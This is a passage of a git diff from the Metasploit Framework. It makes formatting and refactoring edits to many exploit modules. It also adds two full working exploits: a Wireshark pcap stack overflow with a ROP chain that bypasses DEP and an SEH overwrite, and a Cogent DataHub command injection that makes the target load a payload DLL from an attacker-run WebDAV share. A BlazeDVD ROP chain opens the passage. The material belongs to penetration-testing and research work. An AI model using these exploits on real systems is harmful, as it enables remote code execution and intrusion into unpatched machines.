RETN [EPG.dll] + 0xfffffdff, # Value to negate, will become 0x00000201 + 0x61627d9c, # NEG EAX # RETN [EPG.dll] + 0x61640124, # XCHG EAX,EBX # RETN [EPG.dll] + 0x61629938, # POP EAX # RETN [EPG.dll] + 0xffffffc0, # Value to negate, will become 0x00000040 + 0x61627d9c, # NEG EAX # RETN [EPG.dll] + 0x61608ba2, # XCHG EAX,EDX # RETN [EPG.dll] + 0x61612f5a, # POP ECX # RETN [EPG.dll] + 0x100142ab, # &Writable location [SkinScrollBar.Dll] + 0x616313ac, # POP EDI # RETN [EPG.dll] + 0x6162e588, # RETN (ROP NOP) [EPG.dll] + 0x6162d638, # POP EAX # RETN [EPG.dll] + 0x90909090, # nop + 0x61620831, # PUSHAD # RETN [EPG.dll] + ] + end + return rop_gadgets.flatten.pack("V*") + end + def exploit - - plf = rand_text_alpha_upper(6024) - - plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V') - plf[876,12] = make_nops(12) - plf[888,payload.encoded.length] = payload.encoded + case target.name + when 'BlazeDVD 5.1' + plf = rand_text_alpha_upper(6024) + plf[868,8] = Rex::Arch::X86.jmp_short(6) + rand_text_alpha_upper(2) + [target.ret].pack('V') + plf[876,12] = make_nops(12) + plf[888,payload.encoded.length] = payload.encoded + when 'BlazeDVD 6.2' + plf = rand_text_alphanumeric(260) + plf << rop_chain + plf << payload.encoded + end print_status("Creating '#{datastore['FILENAME']}' file ...") - file_create(plf) - end end diff --git a/modules/exploits/windows/fileformat/djvu_imageurl.rb b/modules/exploits/windows/fileformat/djvu_imageurl.rb index 937e3d6ec7..a9c4d93294 100644 --- a/modules/exploits/windows/fileformat/djvu_imageurl.rb +++ b/modules/exploits/windows/fileformat/djvu_imageurl.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote for scripting, so choose your attack vector accordingly. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-4922' ], diff --git a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb index 2eb3c6cb10..5ba0fcb587 100644 --- a/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb +++ b/modules/exploits/windows/fileformat/msworks_wkspictureinterface.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote This control is not marked safe for scripting, please choose your attack vector carefully. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE','2008-1898' ], diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index c9193884fa..5e8b2fea2c 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -82,4 +82,4 @@ class Metasploit3 < Msf::Exploit::Remote file_create(filecontent) end -end \ No newline at end of file +end diff --git a/modules/exploits/windows/fileformat/sascam_get.rb b/modules/exploits/windows/fileformat/sascam_get.rb index 546f85d455..53294f894c 100644 --- a/modules/exploits/windows/fileformat/sascam_get.rb +++ b/modules/exploits/windows/fileformat/sascam_get.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote attack vector carefully. }, 'License' => MSF_LICENSE, - 'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ], + 'Author' => [ 'dean <dean[at]zerodaysolutions.com>' ], 'References' => [ [ 'CVE', '2008-6898' ], diff --git a/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb new file mode 100644 index 0000000000..0a44041cad --- /dev/null +++ b/modules/exploits/windows/fileformat/wireshark_mpeg_overflow.rb @@ -0,0 +1,138 @@ +# +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = GoodRanking + + include Msf::Exploit::FILEFORMAT + include Msf::Exploit::Remote::Seh + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Wireshark wiretap/mpeg.c Stack Buffer Overflow', + 'Description' => %q{ + This module triggers a stack buffer overflow in Wireshark <= 1.8.12/1.10.5 + by generating an malicious file.) + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Wesley Neelen', # Discovery vulnerability + 'j0sm1', # Exploit and msf module + ], + 'References' => + [ + [ 'CVE', '2014-2299'], + [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=9843' ], + [ 'URL', 'http://www.wireshark.org/security/wnpa-sec-2014-04.html' ], + [ 'BID', '66066'] + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'process', + }, + 'Payload' => + { + 'BadChars' => "\xff", + 'Space' => 600, + 'DisableNops' => 'True', + 'PrependEncoder' => "\x81\xec\xc8\x00\x00\x00" # sub esp,200 + }, + 'Platform' => 'win', + 'Targets' => + [ + [ 'WinXP SP3 Spanish (bypass DEP)', + { + 'OffSet' => 69732, + 'OffSet2' => 70476, + 'Ret' => 0x1c077cc3, # pop/pop/ret -> "c:\Program Files\Wireshark\krb5_32.dll" (version: 1.6.3.16) + 'jmpesp' => 0x68e2bfb9, + } + ], + [ 'WinXP SP2/SP3 English (bypass DEP)', + { + 'OffSet2' => 70692, + 'OffSet' => 70476, + 'Ret' => 0x1c077cc3, # pop/pop/ret -> krb5_32.dll module + 'jmpesp' => 0x68e2bfb9, + } + ], + ], + 'Privileged' => false, + 'DisclosureDate' => 'Mar 20 2014' + )) + + register_options( + [ + OptString.new('FILENAME', [ true, 'pcap file', 'mpeg_overflow.pcap']), + ], self.class) + end + + def create_rop_chain() + + # rop chain generated with mona.py - www.corelan.be + rop_gadgets = + [ + 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x62d9027c, # ptr to &VirtualProtect() [IAT libcares-2.dll] + 0x61970969, # MOV EAX,DWORD PTR DS:[EAX] # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x61988cf6, # XCHG EAX,ESI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x619c0a2a, # POP EBP # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x61841e98, # & push esp # ret [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x6191d11a, # POP EBX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x00000201, # 0x00000201-> ebx + 0x5a4c1414, # POP EDX # RETN [zlib1.dll, ver: 1.2.5.0] + 0x00000040, # 0x00000040-> edx + 0x6197660f, # POP ECX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x668242b9, # &Writable location [libgnutls-26.dll] + 0x6199b8a5, # POP EDI # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0 + 0x63a528c2, # RETN (ROP NOP) [libgobject-2.0-0.dll] + 0x61863c2a, # POP EAX # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + 0x90909090, # nop + 0x6199652d, # PUSHAD # RETN [libgtk-win32-2.0-0.dll, ver: 2.24.14.0] + ].flatten.pack("V*") + + return rop_gadgets + + end + + def exploit + + print_status("Creating '#{datastore['FILENAME']}' file ...") + + ropchain = create_rop_chain + magic_header = "\xff\xfb\x41" # mpeg magic_number(MP3) -> http://en.wikipedia.org/wiki/MP3#File_structure + # Here we build the packet data + packet = rand_text_alpha(883) + packet << "\x6c\x7d\x37\x6c" # NOP RETN + packet << "\x6c\x7d\x37\x6c" # NOP RETN + packet << ropchain + packet << payload.encoded # Shellcode + packet << rand_text_alpha(target['OffSet'] - 892 - ropchain.length - payload.encoded.length) + + # 0xff is a badchar for this exploit then we can't make a jump back with jmp $-2000 + # After nseh and seh we haven't space, then we have to jump to another location. + + # When file is open with command line. This is NSEH/SEH overwrite + packet << make_nops(4) # nseh + packet << "\x6c\x2e\xe0\x68" # ADD ESP,93C # MOV EAX,EBX # POP EBX # POP ESI # POP EDI # POP EBP # RETN + + packet << rand_text_alpha(target['OffSet2'] - target['OffSet'] - 8) # junk + + # When file is open with GUI interface. This is NSEH/SEH overwrite + packet << make_nops(4) # nseh + # seh -> # ADD ESP,86C # POP EBX # POP ESI # POP EDI # POP EBP # RETN ** [libjpeg-8.dll] ** + packet << "\x55\x59\x80\x6b" + + print_status("Preparing payload") + filecontent = magic_header + filecontent << packet + print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes") + file_create(filecontent) + + end +end diff --git a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb index b3f0ae9027..4fe3d16a05 100644 --- a/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb +++ b/modules/exploits/windows/fileformat/xenorate_xpl_bof.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'hack4love <hack4love [at] hotmail.com>', + 'hack4love <hack4love[at]hotmail.com>', 'germaya_x', 'loneferret', 'jduck' diff --git a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb index b22842f4b7..809287d2f7 100644 --- a/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb +++ b/modules/exploits/windows/fileformat/xion_m3u_sehbof.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'Author' => [ - 'hadji samir <s-dz [at] hotmail.fr>', # Discovered the bug + 'hadji samir <s-dz[at]hotmail.fr>', # Discovered the bug 'corelanc0d3r <peter.ve[at]corelan.be>', # First working exploit 'digital1', # First working exploit 'jduck', # Alpha+Unicode encoding :-/ diff --git a/modules/exploits/windows/firewall/blackice_pam_icq.rb b/modules/exploits/windows/firewall/blackice_pam_icq.rb index 0dc06797de..c52735c975 100644 --- a/modules/exploits/windows/firewall/blackice_pam_icq.rb +++ b/modules/exploits/windows/firewall/blackice_pam_icq.rb @@ -34,7 +34,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Payload' => { - 'Space' => 504 -31 -4, + 'Space' => 504-31-4, 'BadChars' => "\x00", 'MinNops' => 0, 'MaxNops' => 0, diff --git a/modules/exploits/windows/ftp/easyftp_list_fixret.rb b/modules/exploits/windows/ftp/easyftp_list_fixret.rb index 1ac9951969..d855b94040 100644 --- a/modules/exploits/windows/ftp/easyftp_list_fixret.rb +++ b/modules/exploits/windows/ftp/easyftp_list_fixret.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Karn Ganeshan <karnganeshan [at] gmail.com>', # original version + 'Karn Ganeshan <karnganeshan[at]gmail.com>', # original version 'MFR', # convert to metasploit format. 'jduck' # modified to use fix-up stub (works with bigger payloads) ], diff --git a/modules/exploits/windows/ftp/globalscapeftp_input.rb b/modules/exploits/windows/ftp/globalscapeftp_input.rb index 091b153aec..9a5715a7a9 100644 --- a/modules/exploits/windows/ftp/globalscapeftp_input.rb +++ b/modules/exploits/windows/ftp/globalscapeftp_input.rb @@ -18,7 +18,7 @@ class Metasploit3 < Msf::Exploit::Remote All versions prior to 3.0.3 are affected by this flaw. A valid user account ( or anonymous access) is required for this exploit to work. }, - 'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ], + 'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>', 'Mati Aharoni <mati[at]see-security.com>' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/sasser_ftpd_port.rb b/modules/exploits/windows/ftp/sasser_ftpd_port.rb index 72575fe9ae..87acfe67e3 100644 --- a/modules/exploits/windows/ftp/sasser_ftpd_port.rb +++ b/modules/exploits/windows/ftp/sasser_ftpd_port.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits the FTP server component of the Sasser worm. By sending an overly long PORT command the stack can be overwritten. }, - 'Author' => [ '<valsmith [at] metasploit.com>', '<chamuco [at] gmail.com>', 'patrick' ], + 'Author' => [ '<valsmith[at]metasploit.com>', '<chamuco[at]gmail.com>', 'patrick' ], 'Arch' => [ ARCH_X86 ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/windows/ftp/slimftpd_list_concat.rb b/modules/exploits/windows/ftp/slimftpd_list_concat.rb index c6e8f4e25e..632de06677 100644 --- a/modules/exploits/windows/ftp/slimftpd_list_concat.rb +++ b/modules/exploits/windows/ftp/slimftpd_list_concat.rb @@ -20,7 +20,7 @@ class Metasploit3 < Msf::Exploit::Remote affects all versions of SlimFTPd prior to 3.16 and was discovered by Raphael Rigo. }, - 'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ], + 'Author' => [ 'Fairuzan Roslan <riaf[at]mysec.org>' ], 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/ftp/warftpd_165_user.rb b/modules/exploits/windows/ftp/warftpd_165_user.rb index e92334724f..4802235636 100644 --- a/modules/exploits/windows/ftp/warftpd_165_user.rb +++ b/modules/exploits/windows/ftp/warftpd_165_user.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a buffer overflow found in the USER command of War-FTPD 1.65. }, - 'Author' => 'Fairuzan Roslan <riaf [at] mysec.org>', + 'Author' => 'Fairuzan Roslan <riaf[at]mysec.org>', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb index 9953aa07b0..70988f9cd5 100644 --- a/modules/exploits/windows/http/adobe_robohelper_authbypass.rb +++ b/modules/exploits/windows/http/adobe_robohelper_authbypass.rb @@ -64,15 +64,17 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => '/robohelp/server?PUBLISH=' + uid, + 'uri' => '/robohelp/server', 'version' => '1.1', 'method' => 'POST', 'data' => file, - 'headers' => - { - 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, - 'UID' => uid, - } + 'headers' => { + 'Content-Type' => 'multipart/form-data; boundary=---------------------------' + uid, + 'UID' => uid, + }, + 'vars_get' => { + 'PUBLISH' => uid + } }, 5) if ( res and res.message =~ /OK/ ) @@ -80,9 +82,9 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Got sessionid of '#{id}'. Sending our second request to '#{page}'...") data = send_request_raw({ - 'uri' => '/robohelp/robo/reserved/web/' + id + '/' + page , + 'uri' => normalize_uri('robohelp', 'robo','reserved', 'web', id, page), 'method' => 'GET', - 'version' => '1.0', + 'version' => '1.0' }, 5) handler diff --git a/modules/exploits/windows/http/badblue_ext_overflow.rb b/modules/exploits/windows/http/badblue_ext_overflow.rb index bbf9ac4435..de19a97d25 100644 --- a/modules/exploits/windows/http/badblue_ext_overflow.rb +++ b/modules/exploits/windows/http/badblue_ext_overflow.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Description' => %q{ This is a stack buffer overflow exploit for BadBlue version 2.5. }, - 'Author' => 'acaro <acaro [at] jervus.it>', + 'Author' => 'acaro <acaro[at]jervus.it>', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb index 7b11914c7e..26e87aafcc 100644 --- a/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb +++ b/modules/exploits/windows/http/ca_totaldefense_regeneratereports.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info = {}) @@ -38,6 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote } ] ], + 'CmdStagerFlavor' => 'tftp', 'Privileged' => true, 'Platform' => 'win', 'DisclosureDate' => 'Apr 13 2011', @@ -52,11 +53,8 @@ class Metasploit3 < Msf::Exploit::Remote end def windows_stager - - exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe" - print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") - execute_cmdstager({ :temp => '.'}) + execute_cmdstager({ :temp => '.' }) @payload_exe = payload_exe print_status("Attempting to execute the payload...") diff --git a/modules/exploits/windows/http/cogent_datahub_command.rb b/modules/exploits/windows/http/cogent_datahub_command.rb new file mode 100644 index 0000000000..489190ecf0 --- /dev/null +++ b/modules/exploits/windows/http/cogent_datahub_command.rb @@ -0,0 +1,449 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + # Exploitation is reliable, but the service hangs and needs manual restarting. + Rank = ManualRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::EXE + + def initialize + super( + 'Name' => 'Cogent DataHub Command Injection', + 'Description' => %q{ + This module exploits an injection vulnerability in Cogent DataHub prior + to 7.3.5. The vulnerability exists in the GetPermissions.asp page, which + makes insecure use of the datahub_command function with user controlled + data, allowing execution of arbitrary datahub commands and scripts. This + module has been tested successfully with Cogent DataHub 7.3.4 on + Windows 7 SP1. Please also note that after exploitation, the remote service + will most likely hang and restart manually. + }, + 'Author' => [ + 'John Leitch', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'Platform' => 'win', + 'References' => + [ + ['ZDI', '14-136'], + ['CVE', '2014-3789'], + ['BID', '67486'] + ], + 'Stance' => Msf::Exploit::Stance::Aggressive, + 'DefaultOptions' => { + 'WfsDelay' => 30, + 'InitialAutoRunScript' => 'migrate -f' + }, + 'Targets' => + [ + [ 'Cogent DataHub < 7.3.5', { } ], + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Apr 29 2014' + ) + register_options( + [ + OptString.new('URIPATH', [ true, 'The URI to use (do not change)', '/']), + OptPort.new('SRVPORT', [ true, 'The daemon port to listen on ' + + '(do not change)', 80 ]), + OptInt.new('WEBDAV_DELAY', [ true, 'Time that the HTTP Server will ' + + 'wait for the payload request', 20]), + OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ]) + ], self.class) + end + + def autofilter + false + end + + def on_request_uri(cli, request) + case request.method + when 'OPTIONS' + process_options(cli, request) + when 'PROPFIND' + process_propfind(cli, request) + when 'GET' + process_get(cli, request) + else + vprint_status("#{request.method} => 404 (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + end + end + + def process_get(cli, request) + + if blacklisted_path?(request.uri) + vprint_status("GET => 404 [BLACKLIST] (#{request.uri})") + resp = create_response(404, "Not Found") + resp.body = "" + cli.send_response(resp) + return + end + + if request.uri.include?(@basename) + print_status("GET => Payload") + return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_dll({ :code => p.encoded }) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + return + end + + # Treat index.html specially + if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i) + vprint_status("GET => REDIRECT (#{request.uri})") + resp = create_response(200, "OK") + + resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=| + resp.body += %Q|#{@exploit_unc}#{@share_name}\\"></head><body></body></html>| + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + + # Anything else is probably a request for a data file... + vprint_status("GET => DATA (#{request.uri})") + data = rand_text_alpha(4 + rand(4)) + send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) + end + + # + # OPTIONS requests sent by the WebDav Mini-Redirector + # + def process_options(cli, request) + vprint_status("OPTIONS #{request.uri}") + headers = { + 'MS-Author-Via' => 'DAV', + 'DASL' => '<DAV:sql>', + 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY,' + + + ' MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH', + 'Public' => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, ' + + + 'LOCK, UNLOCK', + 'Cache-Control' => 'private' + } + resp = create_response(207, "Multi-Status") + headers.each_pair {|k,v| resp[k] = v } + resp.body = "" + resp['Content-Type'] = 'text/xml' + cli.send_response(resp) + end + + # + # PROPFIND requests sent by the WebDav Mini-Redirector + # + def process_propfind(cli, request) + path = request.uri + vprint_status("PROPFIND #{path}") + + if path !~ /\/$/ + + if blacklisted_path?(path) + vprint_status "PROPFIND => 404 (#{path})" + resp = create_response(404, "Not Found") + resp.body = "" + cli.send_response(resp) + return + end + + if path.index(".") + vprint_status "PROPFIND => 207 File (#{path})" + body = %Q|<?xml version="1.0" encoding="utf-8"?> +<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> +<D:href>#{path}</D:href> +<D:propstat> +<D:prop> +<lp1:resourcetype/> +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> +<lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> +<lp2:executable>T</lp2:executable> +<D:supportedlock> +<D:lockentry> +<D:lockscope><D:exclusive/></D:lockscope> +<D:locktype><D:write/></D:locktype> +</D:lockentry> +<D:lockentry> +<D:lockscope><D:shared/></D:lockscope> +<D:locktype><D:write/></D:locktype> +</D:lockentry> +</D:supportedlock> +<D:lockdiscovery/> +<D:getcontenttype>application/octet-stream</D:getcontenttype> +</D:prop> +<D:status>HTTP/1.1 200 OK</D:status> +</D:propstat> +</D:response> +</D:multistatus> +| + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + return + else + vprint_status "PROPFIND => 301 (#{path})" + resp = create_response(301, "Moved") + resp["Location"] = path + "/" + resp['Content-Type'] = 'text/html' + cli.send_response(resp) + return + end + end + + vprint_status "PROPFIND => 207 Directory (#{path})" + body = %Q|<?xml version="1.0" encoding="utf-8"?> +<D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> + <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> + <D:href>#{path}</D:href> + <D:propstat> + <D:prop> + <lp1:resourcetype><D:collection/></lp1:resourcetype> + <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> + <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> + <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> + <D:supportedlock> + <D:lockentry> + <D:lockscope><D:exclusive/></D:lockscope> + <D:locktype><D:write/></D:locktype> + </D:lockentry> + <D:lockentry> + <D:lockscope><D:shared/></D:lockscope> + <D:locktype><D:write/></D:locktype> + </D:lockentry> + </D:supportedlock> + <D:lockdiscovery/> + <D:getcontenttype>httpd/unix-directory</D:getcontenttype> + </D:prop> + <D:status>HTTP/1.1 200 OK</D:status> + </D:propstat> +</D:response> +| + + if request["Depth"].to_i > 0 + trail = path.split("/") + trail.shift + case trail.length + when 0 + body << generate_shares(path) + when 1 + body << generate_files(path) + end + else + vprint_status "PROPFIND => 207 Top-Level Directory" + end + + body << "</D:multistatus>" + + body.gsub!(/\t/, '') + + # send the response + resp = create_response(207, "Multi-Status") + resp.body = body + resp['Content-Type'] = 'text/xml; charset="utf8"' + cli.send_response(resp) + end + + def generate_shares(path) + share_name = @share_name + %Q| +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> +<D:href>#{path}#{share_name}/</D:href> +<D:propstat> +<D:prop> +<lp1:resourcetype><D:collection/></lp1:resourcetype> +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> +<D:supportedlock> +<D:lockentry> +<D:lockscope><D:exclusive/></D:lockscope> +<D:locktype><D:write/></D:locktype> +</D:lockentry> +<D:lockentry> +<D:lockscope><D:shared/></D:lockscope> +<D:locktype><D:write/></D:locktype> +</D:lockentry> +</D:supportedlock> +<D:lockdiscovery/> +<D:getcontenttype>httpd/unix-directory</D:getcontenttype> +</D:prop> +<D:status>HTTP/1.1 200 OK</D:status> +</D:propstat> +</D:response> +| + end + + def generate_files(path) + trail = path.split("/") + return "" if trail.length < 2 + + base = @basename + exts = @extensions.gsub(",", " ").split(/\s+/) + files = "" + exts.each do |ext| + files << %Q| +<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> +<D:href>#{path}#{base}.#{ext}</D:href> +<D:propstat> +<D:prop> +<lp1:resourcetype/> +<lp1:creationdate>#{gen_datestamp}</lp1:creationdate> +<lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> +<lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> +<lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> +<lp2:executable>T</lp2:executable> +<D:supportedlock> +<D:lockentry> +<D:lockscope><D:exclusive/></D:lockscope> +<D:locktype><D:write/></D:locktype> +</D:lockentry> +<D:lockentry> +<D:lockscope><D:shared/></D:lockscope> +<D:locktype><D:write/></D:locktype> +</D:lockentry> +</D:supportedlock> +<D:lockdiscovery/> +<D:getcontenttype>application/octet-stream</D:getcontenttype> +</D:prop> +<D:status>HTTP/1.1 200 OK</D:status> +<D:ishidden b:dt="boolean">1</D:ishidden> +</D:propstat> +</D:response> +| + end + + files + end + + def gen_timestamp(ttype=nil) + ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT") + end + + def gen_datestamp(ttype=nil) + ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ") + end + + # This method rejects requests that are known to break exploitation + def blacklisted_path?(uri) + share_path = "/#{@share_name}" + payload_path = "#{share_path}/#{@basename}.dll" + case uri + when payload_path + return false + when share_path + return false + else + return true + end + end + + def check + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'), + 'vars_post' => + { + 'username' => rand_text_alpha(4 + rand(4)), + 'password' => rand_text_alpha(4 + rand(4)) + } + }) + + if res && res.code == 200 && res.body =~ /PermissionRecord/ + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Safe + end + + def send_injection(dll) + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri('/', 'Silverlight', 'GetPermissions.asp'), + 'vars_post' => + { + 'username' => rand_text_alpha(3 + rand(3)), + 'password' => "#{rand_text_alpha(3 + rand(3))}\")" + + "(load_plugin \"#{dll}\" 1)(\"" + } + }, 1) + + res + end + + def on_new_session(session) + if service + service.stop + end + + super + end + + def primer + print_status("#{peer} - Sending injection...") + res = send_injection("\\\\\\\\#{@myhost}\\\\#{@share_name}\\\\#{@basename}.dll") + if res + print_error("#{peer} - Unexpected answer") + end + end + + def exploit + if datastore['UNCPATH'].blank? + @basename = rand_text_alpha(3) + @share_name = rand_text_alpha(3) + @extensions = "dll" + @system_commands_file = rand_text_alpha_lower(4) + + if (datastore['SRVHOST'] == '0.0.0.0') + @myhost = Rex::Socket.source_address('50.50.50.50') + else + @myhost = datastore['SRVHOST'] + end + + @exploit_unc = "\\\\#{@myhost}\\" + + if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' + fail_with(Failure::BadConfig, 'Using WebDAV requires SRVPORT=80 and ' + + 'URIPATH=/') + end + + print_status("Starting Shared resource at #{@exploit_unc}#{@share_name}" + + "\\#{@basename}.dll") + + begin + # The Windows Webclient needs some time... + Timeout.timeout(datastore['WEBDAV_DELAY']) { super } + rescue ::Timeout::Error + service.stop if service + end + else + # Using external SMB Server + if datastore['UNCPATH'] =~ /\\\\([^\\]*)\\([^\\]*)\\([^\\]*\.dll)/ + host = $1 + share_name = $2 + dll_name = $3 + print_status("#{peer} - Sending injection...") + res = send_injection("\\\\\\\\#{host}\\\\#{share_name}\\\\#{dll_name}") + if res + print_error("#{peer} - Unexpected answer") + end + else + fail_with(Failure::BadConfig, 'Bad UNCPATH format, should be ' + + '\\\\host\\shared_folder\\base_name.dll') + end + end + end + +end diff --git a/modules/exploits/windows/http/desktopcentral_file_upload.rb b/modules/exploits/windows/http/desktopcentral_file_upload.rb index 7ddae4d011..63f07cc9c6 100644 --- a/modules/exploits/windows/http/desktopcentral_file_upload.rb +++ b/modules/exploits/windows/http/desktopcentral_file_upload.rb @@ -46,10 +46,16 @@ class Metasploit3 < Msf::Exploit::Remote def upload_file(filename, contents) res = send_request_cgi({ - 'uri' => normalize_uri("agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}"), - 'method' => 'POST', - 'data' => contents, - 'ctype' => "text/html" + 'uri' => normalize_uri('agentLogUploader'), + 'method' => 'POST', + 'data' => contents, + 'ctype' => 'text/html', + 'vars_get' => { + 'computerName' => 'DesktopCentral', + 'domainName' => 'webapps', + 'customerId' => '..', + 'filename' => filename + } }) if res and res.code == 200 and res.body.to_s.empty? diff 